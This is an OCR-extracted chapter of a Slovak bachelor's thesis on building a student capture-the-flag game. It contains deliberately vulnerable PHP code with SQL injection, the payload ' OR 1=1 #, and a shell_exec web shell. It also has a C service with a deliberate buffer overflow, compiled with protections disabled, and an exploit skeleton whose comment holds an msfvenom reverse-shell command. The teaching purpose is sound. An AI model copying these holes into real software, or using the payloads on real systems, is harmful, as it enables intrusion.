4Executable and Linkable Format: https://linuxhint.com/understanding elf file format/
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Na obréazku 4.3 je zobrazend vizualna podoba pracoviska, v ktorom bola kyber-

netickd hra vyvijana.

®
(@ @

VPN

Obr. 4.2: Topoldgia pracoviska

Vyvoj virtualnych strojov a zranitelnych aplikacii prebiehal lokalne prostrednic-
tvom virtualizac¢ného software VM Ware®. Tento pristup bol zvoleny z dévodu zjedno-
dusenia vyvoja vdaka grafickému uzivatelskému rozhraniu, ktoré lokalna virtualiza-
cia ponukala. Pocas vyvoja kybernetickej hry bolo potrebné jednotlivé komponenty
priebezne testovat v kybernetickej aréne, preto boli v prostredi OpenStack vytvo-
rené testovacie instancie dvoch virtualnych strojov s opera¢nym systémom Debian.
Do testovacich inStancii v prostredi OpenStack sa pred danym testom nakopirovali
potrebné stubory a nakonfigurovali potrebné nastavenia. Po findlnych testoch vyvoja
kybernetickej hry sa z kaZdej testovacej inStancie vytvoril findlny snapshot®, ktory
bude pouzity pocas generovania virtualneho prostredia po spusteni kybernetickej

hry.

SVMWare: https://www.vmware.com/
6 snapshot“ je képiou disku virtudlneho stroja v dany moment v ¢ase.
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E openstack. Default » stud_BP-xpispa00 ~

Project v
Project / Compute / Instances

APl Access

Compute v |nStanCGS

Overview
Images Displaying 2 items
Key Pairs O Instance Name  Image Name IP Address
Server Groups 0O Needle SQLInjectionMachine-testing 10028
Volumes > O Bufly BufferOverflowMachine-testing ~ 10.0.4.183
Container >

Displaying 2 items

Obr. 4.3: Testovacie prostredie v platforme OpenStack

4.3 Server so zranitelnostou SQL Injection

Server so zranitelnostou SQL Injection dostal meno Needle”, prave kvoli zranitel-
nosti, ktora je implementovand do prihlasovacieho formulara webovej aplikacie, ktora
na tomto servery bezi. Nasledujice podkapitoly popisuji vyvoj zranitelnej webovej
aplikacie, zamerni nebezpecni implementaciu komunikacie s databazou a zamyslany
postup jej exploitacie. V ramci kapitoly vyvoja webovej aplikdcie bude predstaveny
aj dizajn a vSeobecnda funkcionalita webovej aplikacie simulujica redlne prostredie

pre sprijemnenie a vac¢sie ponorenie do pribehu kybernetickej hry.

4.3.1 Vyvoj zranitelnej webovej aplikacie

Zranitelnd webova aplikacia je primarne naprogramovana v jazyku PHP s kombi-
néaciou jazykov HTML? a JavaScript?. Webova aplikicia bezi v korefiovom adreséri
webového serveru a privita uzivatela s jednoduchym uzivatelskym rozhranim simu-

lujicim webovy portal pre icastnikov vesmirneho exploracného programu.

Tangl. ihla.
8https://developer.mozilla.org/en-US/docs/Web/HTML
9https://developer.mozilla.org/en-US/docs/ Web / JavaScript

45


https://developer.mozilla.org/en-US/docs/Web/HTML
https://developer.mozilla.org/en-US/docs/Web/JavaScript

Webova aplikacia vyuziva niekolko komponentov, ktoré su rozdelené do Styroch
hlavnych stiiborov. Korenovy adresar webového serveru obsahuje nasledujice subory:

o index.php - domovska stranka

 login.php - prihlasovaci formular pre administratorsky portal

o portal.php - administratorsky portal

o config.php - konfiguracny stbor pre pracu s MySQL databazou

Webova aplikacia tiez vyuziva JavaScript na posielanie asynchronnych ziadosti
webovému serveru pre zobrazovanie niektorych prvkov uzivatelovi. Pre tieto ucely

webova aplikdcia vyuziva subor utils. js v zlozke js.

index.php

Tento stibor obsahuje jednoduchti webovi stranku s tematikou vesmirneho badania.
Menu webovej aplikacie obsahuje niekolko poloziek, avsak len dve z nich predstavuja
realnu funkcionalitu a to polozky Home, ktord je odkazom na sibor index.php
a Login, ktory je odkazom na stbor login.php. Cez odkaz Login sa moze uzivatel
dostat do prihlasovacieho formulara pre autorizaciu pristupu k administratorskému

panelu webovej aplikacie.

Home TheRedPlanet News Missions About  Login

NASA Space Exploration Program 2035

Lorem ipsum dolor sit amct, co uer adipiscing clit. Nullam sapit , ornarc ac, nonummy non, lobortis a
eet, magna id viverra , sem odio ju pe sapien wisi sed libero. Nullam
ornare ac, nonummy n 7
Lbulum fermentum tortor
dapibus fermentum ipsum. S , fa vel mattis lac
Pellentesque arcu. Praesent in mau T tnor accumsan. Inte erisque luc
Ut onim ad minima voniam, quis nostrum cxercitationcm wllam corpo n, nisi ut aliquid
commodi consequatur?

Suspendissc nisl. Fusce dui leo, mmcrd.lU in, aliquam sit amct, Ix uzrml cu, orci. Alnuam in Drcm sit am(t lcn

id velit ullamcorper pulvinar. Fusco
ibulum ipsum. ben a ct augue. Duis condimentum augue id
magna semper rutrum.

Obr. 4.4: Uvitacia stranka webovej aplikacie

46



V HTML casti zdrojového kédu siboru index.php sa nachidza prva vlajka
kybernetickej hry a student ju musi zadat v pozadovanom forméate do kybernetickej

arény.

=/div=
<!-- FLAG{needle.vut.cz} --=
</body=>

Obr. 4.5: Prva vlajka kybernetickej hry

Navrh a implementacia zranitelhosti SQL injection v subore login.php

Stubor login.php je stcastou webovej aplikécie, ktora sa stard o autorizaciu uziva-

tela.

Username

Enter Username

Password

Enter Password

Login

Please enter the
credentials!

Obr. 4.6: Prihlasovaci formular

Jedna zo zranitelnosti pouzita v kybernetickej hre je SQL injection. Webova
aplikacia vyuziva spojenie s MySQL databazou, avsak uzivatelské vstupy nie st
oSetrené, nepouzivaju sa prepared statements'® a uzivatelsky vstup je priamo vkla-
dany do SQL prikazu, ktory sa nasledne posiela SQL serveru. Tato implementacia
je velmi nebezpecna a umoznuje utocnikovi utok zrealizovat.

Zranitelnost je implementovanid do mechanizmu spracovavania POST Ziadosti
z prihlasovacieho formuléra, ktory uzivatel vyplni, aby sa mohol autorizovat a dani
sluzbu vyuzivat. Internetovy prehliada¢ posle POST Ziadost s vyplnenymi idajmi,
webova aplikacia skontroluje pritomnost potrebnych parametrov, vytvori spojenie
s databéazou, zasle SQL prikaz s uzivatelskym menom a heslom a uzivatela autorizuje,

pripade odmietne pristup. Kéd uvedeny nizsie ukazuje zamerne neosetrené ulozenie

0Prepared statement je funkcionalita implementovanid v mnohych programovacich jazykoch,
ktora je pouzitd k predkompilécii SQL prikazu, ¢o ma za dosledok separaciu od samotnych dét.
Vyhodou je rychlost a bezpec¢nost.
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hodnoty z POST ziadosti do premennych username a password a SQL prikaz, ktory

je SQL serveru posielany.

if ($_SERVER["REQUEST_METHOD"] = "POST") {
if (empty (trim ($_POST ["username"]))) {
$err_msg = "Please enter the credentials!";
} else {

$username = trim($_POST["username"]);

if (empty (trim ($_POST ["password"]))) {

$err_msg = "Please enter the credentials!";
} else {

$password = hash(’sha256’,

trim($_POST ["password"]));

Vypis 4.1: Ukazka funkcie spracivajiucej HI'TP POST ziadost zo strany klienta

$sql = "SELECT username, password
FROM {$db_name}.users
WHERE {$db_name}.users.username = ’{$username}’
AND {$db_name}.users.password = ’{$password}’";

Vypis 4.2: SQL prikaz pre overenie existencii uzivatela so zadanym menom a heslom

Autorizacia je tspesna, pokial je v SQL databaze ndjdeny prvok, ktory vyhovuje
podmienke SQL prikazu, v tomto pripade zadanej kombindcii mena a hesla. Uspesna
¢i netspesna autorizacia je reprezentovana poctom vratenych riadkov z databazy,
ktoré vyhovujui danému SQL prikazu. V pripade tspesnej autorizacie bude vrateny
len jeden riadok a v pripade netspesnej autorizacie nebude vrateny ziadny.

Na zneuzitie zranitelnosti musi student namiesto uzivatelského mena zadat sprav-
ne naformatovany SQL prikaz, aby zmenil znenie povodného SQL prikazu a bola
tak splnend podmienka, na zdklade ktorej webova aplikdcia autorizuje uzivatela.

Uzivatelské meno musi nadobudnuf nasledujicu hodnotu.
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> OR 1=1 #

Vypis 4.3: Uzivatelské meno obsahujice SQL syntax

Username

Password

Login

Please enter the
credentials!

Obr. 4.7: Prihlasovaci formular vyplneny SQL injection payloadom

Pouzitim vyssie uvedeného payloadu ako uzivatelského mena sa vysledny SQL

prikaz modifikuje nasledovne.

WHERE rover.users.username = ’’ (OR 1=1 #

AND rover .users.password = ’doesnotmatter’";

Vypis 4.4: Upravena cast SQL prikazu

Pouzitim jednoduchej tivodzovky sa uzavrie refazec, ktory reprezentuje uzivatel-

ské meno. MrieZka reprezentuje v databizovom systéme komentar!!

a jej pouzitim
je zvysok povodného prikazu ignorovany. Po tspesnej autorizacii sa v danej PHP
relacii nastavi cookie, ktory je druhou vlajkou kybernetickej hry a uzivatel je pre-
smerovany na webovu stranku http://<instance-ip>/portal.php. Mechanizmus auto-
rizacie a ziskania vlajky je znazorneny na utrzku zdrojového kodu webovej aplikacie

nizsie.

if (mysqli_num_rows ($result) == 1) {
setcookie ("AUTH", "FLAG{admincookiel}", time () +3600) ;
header ("location: portal.php");

} else {

$err_msg = "Invalid username or password!";

Vypis 4.5: Spracovanie autorizacie webovou aplikaciou

Znak ,#“ je jeden z moznych oznaceni zaciatku komentara a zavisi na konkrétnom SQL servery.
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MNarme Value Domain Path Expires | Max-Age

AUTH FLAG% 7Badmincockie®% 7D needle.vut.cz ! Tue, 10 May 2022 10:17:15 GMT
PHPSESSID m5gmlpm02226d5hsinhinvi3vl needle.vut.cz ! Session

Obr. 4.8: Druha vlajka kybernetickej hry v podobe cookie

portal.php

Stubor portal.php obsahuje webovt aplikaciu, ktorej funkcionalita simuluje ad-
ministratorsky panel redlnej webovej aplikacie. Portal obsahuje dve funkcie a to
stiahnutie privatneho kliéa uzivatela webadmin'? pre SSH a webové rozhranie pre

prikazovy riadok.

Command Shell

Back to home |
Logout

Obr. 4.9: Administratorsky portal webovej aplikacie

2webadmin je uzivatelsky ticet na servery Debian, na ktorom bezi zranitelna webové aplikicia.
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Pre stiahnutie siboru s privatnym klicom bolo mozné vyuzit funkcionalitu ja-
zyka HTML5'3, kde sa zvolila cesta k siboru a ndzov, ktory by mal stiahnuty stibor

nadobudnut.

<ul class="admin_panel_menubar">
<1i>
<a href=".downloads/ssh/8a2...6al"
download="webadmin.key"
>SSH access</a>
</1i>
<li><a onclick="getCMDLine ()">Command Shell</a></1li>
</ul>

Vypis 4.6: Funkcionalita administratorského portalu

Po kliknuti na odkaz s nazvom ,,SSH access“ webovy prehliadac¢ zobrazi upozor-
nenie o stahovanom stibore. Student musi tento stibor stiahnut, nastavit mu spravne
pristupové prava a pouzit ho na prihlasenie sa na webovy server pod uc¢tom webad-

min.

SSH access

Do this automatically for files like this from now on.

Cancel

Obr. 4.10: Funkcionalita pre stiahnutie privatneho SSH kluca uzivatela webadmin

Administratorsky portal obsahuje aj funkcionalitu vykonavania systémovych pri-
kazov na webovom servery. Tato funkcionalita nie je pre priebeh kybernetickej hry
doélezita a bola pridana z dovodu sprijemnenia priebehu hry pre hraca. Pre vykona-
vanie systémovych prikazov student klikne na odkaz s nazvom ,Command Shell*,

ktory mu nésledne zobrazi rozhranie pre vykonavanie prikazov.

I3SHTMLS5: https://www.root.cz/clanky /html5-co-prinasi-a-proc-se-o-nej-zajimat /
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function exec_cmd ($cmd) {

$res = shell_exec("$cmd 2>&1");

cmdline () ;

echo "

<div class=\"portal_output_cmd\">
<label><b>0utput </b></label>
<pre>$res</pre>

</div>";

if (isset($_GET[’cmd’])) {
return exec_cmd($_GET[’cmd’]);

Vypis 4.7: Spracovanie systémového prikazu zadaného vo webovom rozhrani

Is -l

Execute

Output

total 28

-rw-r--r-- debian debian : config.php
drwxr-xr-x debian debian : css
drwxr-xr-x debian debian : img
-rw-r--r-- debian debian : index.php
drwxr-xr-x debian debian : js
-rw-r--r-- debian debian : login.php
-rw-r--r-- debian debian : portal.php

Obr. 4.11: Webové rozhranie pre systémové prikazy
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O zobrazovanie vysledkov jednotlivych prikazov sa stard sibor utils. js. Jed-

notlivé Ziadosti sa spractivaji asynchrénne pomocou technolégie XML Http Request'?.

xmlhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
document .getElementById("placeholder")
.innerHTML = this.responseText;

document .getElementById ("admin_div")

.style.display = "none";
X
s
else if (param == 2) {
xmlhttp.open (
"GET",
"portal.php?cmd="
+ document.getElementById ("command") .value,
true
)
X

Vypis 4.8: Asynchénne spracovanie systémového prikazu zadaného vo webovom

rozhrani

4.3.2 Konfiguracia webového servera

Na webovom servery je pre tucely kybernetickej hry vytvoreny tcet webadmin, ktory
ma simulovat administratora webovej aplikacie, na ktori student utoci. Tento ucet
nedisponuje ziadnymi specidlnymi privilégiami a v konfiguracii SSH je prihlasovanie
pomocou hesla zakazané. Pre ispesné prihlasenie do tohto tc¢tu, musi student pouzit
privatny SSH klu¢, ktory ziska z administratorského portédlu webovej aplikacie.
Domovsky adresar uzivatela webadmin obsahuje tretiu vlajku kybernetickej hry
a zlozku ,pentest-results“, ktora obsahuje informacie a subory tykajice sa penet-
racného testu, ktory sa na fiktivnej vesmirnej stanici vykonaval. Zlozka ,pentest-
results“ obsahuje bindrny stibor RATservice, proof-of-concept exploit'® s ndzvom

exploit_POC.py a odkaz v podobe textového stiboru note.txt.

“https: / /developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest
15Exploit obsahuje len zékladnt struktiru bez komponentov potrebnych na vytvorenie payloadu,

ktory exploit posiela zranitelnej siefovej aplikacii.
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total 8

1 webadmin webadmin 39 Mar 23 12:09 fTlag.txt
drwxr-xr-x 2 webadmin webadmin 4096 May 4 09:53

Obr. 4.12: Obsah domovského adresara uzivatela webadmin

Subor note.txt ma v ramci kybernetickej hry slizit ako napoved pre Studenta
a naviest ho tak na dalsi krok kybernetickej hry, ktorym je vyvoj exploitu zne-
uzivajuceho zranitelnost Buffer Overflow, ktora je obsiahnutd v bindrnom subore
RATservice. Subory RATservice a exploit_POC.py budu blizsie popisané v kapi-
tole 4.4.1.

total 24

-rwxr-xr-x 1 webadmin webadmin 15864 Mar 23 10:20
-rw-r--r-- 1 webadmin webadmin 2046 May 4 09:52 exploit_POC.py
-rw-r--r-- 1 webadmin webadmin 216 May 4 09:53 note.txt

Obr. 4.13: Obsah adresara ,pentest-results®
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4.4 Server so zranitelhostou Buffer Overflow

Druhou casfou scenara kybernetickej hry je kompromitacia serveru, na ktorom bezi
sietova sluzba obsahujica zranitelnost Buffer Overflow. Server dostal prave kvoli
tejto zranitelnosti meno Buffy. Zranitelnost je implementovana do spracovavania
uzivatelského vstupu v podobe uzivatelského mena, ktoré Student zadava to siefovej
aplikacie. Aplikacia bezi na porte 8000 a okrem uzivatelskej autorizacie neobsahuje
ziadnu redlnu funkcionalitu. Po tspesnej autorizacii so spravnymi prihlasovacimi
udajmi sietova aplikacia ukon¢i svoju ¢innost. Zranitelnost je implementovana tak,
aby ju bolo mozné zneuzit na ziskanie reverse shellu pomocou umiestnenia shell-
code priamo na zasobnik a presmerovat tok exekucie programového kodu na tento
shellcode. Aby bolo mozné zranitelnost zneuzit tymto spdsobom, bolo nutné pri
kompilacii pouzit Specidlne prepinace, ktoré urcité ochranné prvky vypli. V nasledu-
jucich kapitolach bude popisany vyvoj zranitelnej siefovej aplikacie, implementécie

zranitelnosti Buffer Overflow a vyvoj exploitu, ktory zranitelnost zneuziva.

—

192.168.220.133 8000
(UNKNOWN) [192.168.220.133] 8000 (?) open

Username: root
Password: root
Login successfull!

Obr. 4.14: Uspesna autorizicia v sietovej aplikécii

4.4.1 \Vyvoj zranitelnej sietovej aplikacie

Sietova aplikdcia nesie nazov RATservice a ma predstavovat fiktivnu aplikaciu
na vzdialeny pristup a spravu zariadeni, ktoré su na server pripojené. Sietova apli-
kécia bola vyvinutd v jazyku C vo vyvojovom prostredi Visual Studio Code'®. Pri
vyvoji bolo pouzitych niekolko kniznic, na ustanovenie siefovej komunikacie. Medzi

nich patria nsledovné.

#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <arpa/inet.h>

Vypis 4.9: Kniznice jazyka C potrebné pre siefovi komunikaciu

16Visual Studio Code: https://code.visualstudio.com/
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Sietova cast

Siefova cast aplikacie spociva vo vytvarani a naslednom citani a zapise dat do TCP
socketov. Presiivanie dat pomocou TCP socketov vyzaduje niekolko krokov ako na-
priklad vytvorenie socketu, viazanie socketu, poctuvanie na sockete a akceptovanie
prichadzajicich pripojeni. Vypis 4.10 zobrazuje skrateny proces vytvarania TCP

socketu a prijimania spojenia.

sockfd = socket (AF_INET, SOCK_STREAM, O0);

serv_addr .sin_family = AF_INET;
serv_addr.sin_addr.s_addr = htonl (INADDR_ANY) ;
serv_addr.sin_port = htons (PORT);

bind (sockfd,
(struct sockaddr *) &serv_addr,

sizeof (serv_addr));
listen(sockfd, 5)
conn_sockfd = accept(sockfd,

(struct sockaddr *) &cli_addr,

sizeof (cli_addr));

Vypis 4.10: Praca s TCP socketmi v jazyku C

Zranitelny buffer

Hlavnou podstatou zranitelnej sietovej aplikacie je demonstrovat zranitelnost Buffer
Overflow. Na to, aby zranitelnost nastala, je potrebné do bufferu premennej zapi-
sat viac dat ako je velkost samotného bufferu. Pri vyvoji siefovej aplikacie bolo
preto zamerne modifikované volanie funkcie read(), ktorej jednym z parametrov je
prave velkost zapisovaného bufferu dat. K tomuto parametru, ktory pévodne nie-
sol hodnotu typu Integer o velkosti premennej username (20 bajtov), je zamerne
pripocitand hodnota 500. Vysledné velkost dat, ktoré budu zapisané na zasobnik je
520 bajtov, ¢o vysoko presahuje realne potrebny pocet bajtov a umoznuje realizovat
utok.
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char username [20];

write (conn_sockfd, "Username: ", 10);

read (conn_sockfd, username, sizeof (username) + 500); // unsafe

Vypis 4.11: Nepezpecny zapis dat do bufferu premennej username

Manualne pridanie inStrukcie JMP ESP do binarneho suboru RATservice

Aby mohol student zranitelnost zneuzit, bolo nutné pre jednoduchost utoku zabez-
pecit, aby sa v programovom assembly kode nachadzala instrukcia JMP ESP, ktora
umozni Studentovi presmerovat tok exekicie programového kédu sietovej aplikacie.
Pozadovaného bolo mozne dosiahnut vytvorenim funkcie, ktora v sebe obsahuje tzv.

inline assembly'”.

void jmp_esp(void)

"ij *%espll

Vypis 4.12: Funkcia jmp__esp() s pouZitim inline assembly

080492a9 <jmp_esp>:

80492a9: 55 %ebp

80492aa: 89 eb5 %esp, %ebp

80492ac: e8 7f 04 00 00O 8049730 <_ x86.get_pc_thunk.ax>
80492b1: 05 4f 2d 00 00O $0x2d4f, %eax

80492h6: ff ed *%esp
80492b8: 90

80492b9: 5d %ebp
80492ba: c3

Obr. 4.15: Assembly kéd funkcie jmp__esp() po pridani inline assembly ako vystup
prikazu objdump

Z assembly kodu funkcie jmp__esp() je mozné spozorovat pritomnost instrukcie
JMP ESP a jej prislusného opera¢nému kédu FF E4. Tento krok bolo nutné imple-
mentovat prave kvoli malej velkosti a funkcionalite siefovej aplikacie. Instrukcia JVP

ESP je relativne nestandardna a v malej aplikacii ako je tato sietova aplikacia, sa

1"Tnline assembly: https://www.codeproject.com/Articles/15971/Using-Inline- Assembly-in-C-C
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nemusi nachadzat, preto bolo nutné tito instrukciu do siefovej aplikacie manuélne

pridat pomocou inline assembly.

Kompilacia

Aby bolo mozné zranitelni sietova aplikdciu zneuzit, bolo potrebné pri kompila-
cii zdrojového kédu tejto aplikacie kompilatoru oznamit, aby do bindrneho stboru
nezakomponovaval bezpecnostné prvky ako napr. stack canary a povolil exekiiciu
programového kédu v adresnom priestore uréeného pre zasobnik. Ako kompildtor
bol zvoleny nastroj GCC'® a medzi jednotlivé prepinace patrili nasledovné:

o Kompilacia v 32-bitovom adresnom priestore

e Povolenie exekiicie programového kédu z adresného priestoru urceného pre

zasobnik
o Vypnutie ochrany zasobniku

« Kompilacia vo forme pozi¢ne nezavislého kodu

/usr/bin/gcc RATservice.c -o RATservice -m32 -z execstack -fno-

stack-protector -no-pie

Vypis 4.13: Plné znenie prikazu pre kompildciu zranitelnej sietovej aplikécie

4.4.2 \Vyvoj exploitu

Sucastou kybernetickej hry st malé napovede, ktoré maju za tilohu naviest Studenta
na spravnu exploitac¢ni cestu, nakolko priestor pre ttok po ziskani inicialneho pri-
stupu na cielovy server je velmi Siroky a casovy limit je obmedzeny na jednu hodinu
a 45 minat. Jednu z napovedi, ktora sa nachddza v adresari pentest-results, je
mozné vidiet vo vypise 4.14. Proof-of-concept exploit, spominany v siibore note. txt,
bol pre ucely bakalarskej prace vyvinuty z dévodu ulahc¢enia a urychlenia priebehu

kybernetickej hry.

Hi Ippsec,
did you see that note in the PoC exploit from Qurius Frostvandrer?

The issue seems pretty serious.

Please check the server with IP 192.168.56.102 since the service is

up and running there.

John Hammond

Vypis 4.14: Obsah odkazu pre Studenta v sibore note.txt

Bhttps://gee.gnu.org/
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Zakladna Struktira kodu exploitu

Zakladna struktira kédu exploitu spociva vo vytvoreni payloadu, ktory je nutné
predat pocuvajicemu TCP socketu sietovej aplikacie. Proces tvorenia exploitu pre
ucely tejto bakalarskej préace je zlozeny primarne z hladania vhodnych komponen-
tov, z ktorych bude findlny payload zlozeny. Medzi tieto komponenty patria napr.
offset k registru EIP, adresa instrukcie JMP ESP a generovanie shellcode. Vypis 4.15
predstavuje zakladnt struktiru kodu exploitu, bez komponentov potrebnych pre
uspesnu exploitdaciu. Priloha A obsahuje popis procesu tvorby tohto exploitu, na-

kolko bol neodlucitelnou sucastou tvorby kybernetickej hry.

#!/usr/bin/python3

import sys

import socket

if len(sys.argv) == 1:
print (f"Usage: {sys.argv[0]} <Target IP>")
exit ()

# Target server IP address

target_IP = sys.argv[1]

# Offset to the EIP register
EIP _offset = b""

# $(ROPgadget --binary RATservice --only "jmp")
EIP = b""

# NOP slide
nop = b"\x90" x 10

# msfvenom -p linux/x86/shell_reverse_tcp LHOST=<ATTACKER IP> LPORT
=<ATTACKER PORT> -f python -b ’\x00°’
buf = b""

# Final payload
buffer = EIP_offset + EIP + nop + buf

= socket.socket (socket.AF_INET, socket.SOCK_STREAM)
.connect ((target_IP, 8000))

.send (buffer)

.recv (1024)

.close ()

n n n n n

Vypis 4.15: Zakladna struktiura kédu exploitu
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Exploitacia sietovej aplikacie

Pre uspesnu exploitaciu sietovej aplikdcie je po vyvoji exploitu potrebné spustit
sluzbu, ktora vytvara TCP socket cakajici na nové spojenie, ktoré je v pripade
uspesnej exploitacie iniciované procesom zranitelnej sietovej aplikacie. Po spusteni
exploitu je payload, ktory je v nom obsiahnuty poslany do bufferu zranitelnej siefovej
aplikdcie a dochddza k spusteniu kodlivého kédu. Uspesnd exploitdcia sa ttocnikovi
prejavi prichadzajicim spojenim na port, ktory definoval pri vytvarani pocuvajiceho
TCP socketu.

File Actions Edit View Help

~/demo/bof
exploit.py 127.0.0.1

~/demo/bof

File Actions Edit View Help
~/demo/bof

Socket successfully created!
Binded the socket successfully!
Listening. ..

Server accepting the client...

XBAMEhSBK<G@

[

File Actions Edit View Help
~/demo/boT

443
listening on [any] 443
connect to [192.168.220.145] from (UNKNOWN) [192.168.220.145] 41212
python3 -c 'import pty; pty.spawn("/bin/bash")’
root@frostvandrer:/home/qurius/demo/bof# id
id
uid=0(root) gid=0(root) groups=0(root),4(adm),20(dialout),119(wireshark),142(kaboxer)

root@frostvandrer:/home/qurius/demo/bof# l

Obr. 4.16: Ukazka uspesnej exploitacie sietovej aplikacie

Po tspesnej exploitacii, student ziska vysoko privilegovany pristup na jeden
zo serverov Debian a budd mu spristupnené prihlasovacie tdaje a IP adresa za-
riadenia Raspberry Pi, ktoré sii nevyhnutné pre ziskanie poslednej vlajky a tispesné
dokoncenie kybernetickej hry.
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4.4.3 Zabezpecenie staleho behu aplikacie pri binarnom atoku

Pocas priebehu exploitacie zranitelnej sluzby RATservice student svoj exploit tvori
lokélne na virtualnom stroji, z ktorého inicioval vSetky predoslé utoky, avSsak pocas
vyvoju exploitu méze vyskusat na aplikaciu zautocit. Netspesné pokusy o bindrnu
exploitaciu vicsinou koncia padom celej aplikacie alebo sluzby, preto bolo potrebné
zabezpecit, aby bola zranitelna sluzba dostupné aj po netuspesnej exploitacii. K do-
siahnutiu tejto funkcionality kybernetickej hry bolo potrebné vytvorit skript, ktory
kontroluje zivotnost daného procesu a pouzit planované tlohy operacného systému

Linux. Pre tento skript bol zvoleny jazyk v jazyku bash!®.

Kontrolny skript

Kontrolny skript vyuziva prvky jazyka bash a pomocou prikazov ps a grep zis-
tuje pritomnost procesu RATservice. Pokial dany proces nebezi, skript dant sluzbu

spusti na pozadi.

#!/bin/bash

res=$(ps -ef | grep RATservice | grep -v ’grep RATservice’ | grep

-v ’RATservice.sh’)

if [[ -z "$res" 1]

then
echo "Not running"
/root/RATservice &
echo "Service started"
else
echo "Running"
fi

Vypis 4.16: Kontrolny skript sluzby RATservice

Planovana udloha

Aby bola sluzba dostupna stdle bolo nutné nakonfigurovat tzv. crontab uzivatela
root. Kontroly skript sa spusfa kazdd minitu a udrzuje tak sluzbu RATservice
aktivnu pocas celého ttoku, bez nutnosti manualneho sptstania. Pre minimélny
zasah do spustenia kybernetickej hry bolo tiez potrebné nakonfigurovat, aby sa dana

sluzba spustila vzdy po Starte virtualneho stroja.

19Bash: https://opensource.com/article/19/10/programming-bash-syntax-tools
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N

@reboot
* x Kk k ok

/bin/bash /root/RATservice.sh
/bin/bash /root/RATservice.sh

Vypis 4.17: Crontab uzivatela root
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4.5 SunFounder PiCar-V Kit V2.0 s Raspberry Pi 3

Po tspesnej kompromitacii vsetkych systémov zakomponovanych do kybernetickej
hry bude studentovi spristupnené vzdialené ovladanie robotického auta s kamerou,
ktoré student pouzie na prejdenie tiseku a precitanie poslednej vlajky kybernetickej
hry v ramci fyzickej arény. Auto SunFounder PiCar-V V2.0 pouziva ako hlavnu
pocitacovi jednotku Raspberry Pi 3 a je vybavené sirokouhlou USB kamerou. Soft-
ware, ktory je potrebny na ovladanie robotického auta je open-source projekt firmy
SunFounder a je dostupny z verejného GitHub repozitara. Auto bolo zakipené z in-

ternetového obchodu amazon.de.

&

Obr. 4.17: SunFounder PiCar-V Kit V2.0
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4.5.1 Instalacia sady nastrojov SunFounder__PiCar-V

Po skonstruovani robotického auta SunFounder _PiCar-V bolo potrebné nakonfigu-
rovat zariadenie Raspberry Pi 3 a nainstalovat potrebny software potrebny na ovla-
danie robotického auta. Priebeh instaldcie spoc¢ival v naklonovani verejného GitHub

O nainstalovani potrebnych zavislosti obsiahnutych a spusteni instalac-

repozitara?
ného skriptu, ktory bol taktiez obsiahnuty v siiboroch naklonovaného repozitara.

Po tispesnom nainstalovani vSetkych zavislosti a samotného software bolo mozné
spustit webové rozhranie pre ovladanie robotického auta. Webové rozhranie pontka
studentovi pohlad z kamery a sadu tlacidiel, ktoré ovladaji réznu funkcionalitu.
Medzi funkcie, ktoré webové rozhranie umoznuje ovladat patria nasledovné:

« Pohyb vpred/vzad

« Natocenie prednych kolies doprava/dolava

e Rychlost pohybu

o Natocenie kamery

Obrazok 4.18 zobrazuje pracovisko vyvoja kybernetickej hry z pohladu kamery

umiestnenej na robotickom aute SunFounder _PiCar-V.

192.168.15.137/run/? x 4 _ o

« ] O & 15216845.137/run/? b ® O =

SPEED:

Obr. 4.18: Webové rozhranie pre ovladanie robotického auta

2SunFounder PiCar-V: https://github.com /sunfounder/SunFounder PiCar-V /tree/V3.0
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4.5.2 Obmedzenie pristupu k webovému rozhraniu ovladania
robotického auta

Hlavnym cielom kybernetickej hry je pomocou zneuzitia zranitelnosti na virtual-
nych strojoch prebrat kontrolu nad robotickym autom SunFounder PiCar-V. Tento
prvok kybernetickej hry je jediny, ktory nie je virtualizovany a pre laboratérium,
v ktorom bude kyberneticka hra prebiehaf, je v Case tvorby tejto bakalarskej prace
auto dostupné len jedno. Z toho doévodu bolo nutné zaistit, aby bolo mozné auto
ovladat maximalne jednym studentom v dany moment a nedochédzalo tak k stucas-
nému riadeniu robotického auta dvoma alebo viac studentmi, ktoré by mohlo vyustit
do poskodenia robotického auta SunFounder _PiCar-V.

Robotické auto je v ramci hry pripojené k Wi-Fi a studentom je IP adresa
tohto zariadenia spristupnend po kompromitacii serveru, na ktorom bezi zranitelna
sietova aplikacia. Aby sa zabranilo nepovolenému vniknutiu a prevzatiu kontroly nad
robotickym autom bolo potrebné zaistit autorizaciu pristupu k webovému rozhraniu
pre ovladanie tohto zariadenia.

K obom poziadavkam, ktoré bolo pocas vyvoja kybernetickej hry nutné splnit,

bola vyuzitd funkcionalita sluzby Nginz.

Konfiguracia reverzného proxy

Aby bolo mozné vyuzivat autentizacné sluzby, ktoré Nginz svojim uzivatelom posky-
tuje, bolo nutné nakonfigurovat tzv. reverzné prozy®', ktoré presmeruje Ziadosti kli-
entov na sietové rozhranie localhost port 8000, na ktorom bezi skuto¢na webova apli-

kacia obsahujica webové rozhranie pre ovladanie zariadenia SunFounder _PiCar-V.

Autorizacia pristupu

Pre autorizaciu pristupu k webovému serveru bol pouzity protokol HT'TP Basic Aut-
hentication®?, ktory je vyuzivany modulom ngz http auth_basic_module*® a pre
obmedzenie maximalneho poctu stbeznych spojeni bol pouzity modul
ngx__http__upstream__module**. Vypisy 4.18 a 4.19 predstavuju ttrzky konfigurac-
ného suboru /etc/nginx/sites-available/default.

Konfiguracia riadenia pristupu spociva v definovani autorizacnej metédy a re-
feren¢ného suboru, ktory obsahuje uzivatelské mena a hesla pre porovnanie so za-

danym vstupom. Pre Specifikiciu autorizacnej metédy HTTP Basic Authentication

21Reverznym proxy sa nazyva server, ktory sa nachddza pred skutoénym webovym serverom

a presmeruje mu poziadavky klientov.
Zhttps://developer.mozilla.org/en-US/docs/Web/HT TP/ Authentication
Zhttp://nginx.org/en/docs/http/ngx_http auth_basic_module.html
Z4http: //nginx.org/en/docs/http/ngx_http upstream_module.html

65


http://developer.mozilla.org/
http://nginx.org/en/docs/http/ngx_http_auth_basic_module.html
http://nginx.org/en/docs/http/ngx

bolo potrebné pouzit klucové slovo auth_basic. Pre Specifikaciu siboru pouzitého
pri autorizacii bolo potrebné cestu k tomuto stiboru definovat pomocou klicového

slova auth__basic__user_file.

server A{
location / {

# Client authentication
auth_basic "Please enter credentials";

auth_basic_user_file /etc/nginx/.htpasswd;

Vypis 4.18: Konfiguracia autorizacie pristup k webovej aplikacii

